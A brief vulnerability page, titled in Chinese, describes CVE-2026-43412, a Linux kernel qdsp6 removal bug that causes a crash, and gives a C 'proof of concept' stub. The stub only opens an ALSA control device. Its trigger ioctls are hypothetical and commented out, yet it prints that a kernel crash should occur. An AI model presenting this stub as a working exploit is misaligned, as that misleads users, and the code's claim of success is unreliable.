CVE-2026-43412 Linux Kernel qdsp6组件移除错误致崩溃

/* * PoC Concept for CVE-2026-43412 * Triggering the crash requires causing the ADSP to stop and start, * specifically invoking the audio path teardown and rebind. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> int main() { printf("[+] Attempting to trigger ADSP restart logic...\n"); // In a real scenario, this would involve interacting with the ALSA // subsystem or the specific QDSP6 driver ioctls to force a // topology unload and reload sequence. int fd = open("/dev/snd/controlC0", O_RDWR); if (fd < 0) { perror("[-] Failed to open audio device"); return 1; } // Simulate operations that lead to .remove callback ordering issue // (Actual trigger mechanism depends on specific audio usage) printf("[+] Interacting with audio driver to force topology reload...\n"); // Hypothetical ioctl or sequence to stop ADSP audio path // ioctl(fd, STOP_ADSPP, NULL); // Hypothetical ioctl to start ADSP audio path (triggers rebind) // ioctl(fd, START_ADSPP, NULL); close(fd); printf("[+] If vulnerable, kernel NULL pointer dereference should occur now.\n"); return 0; }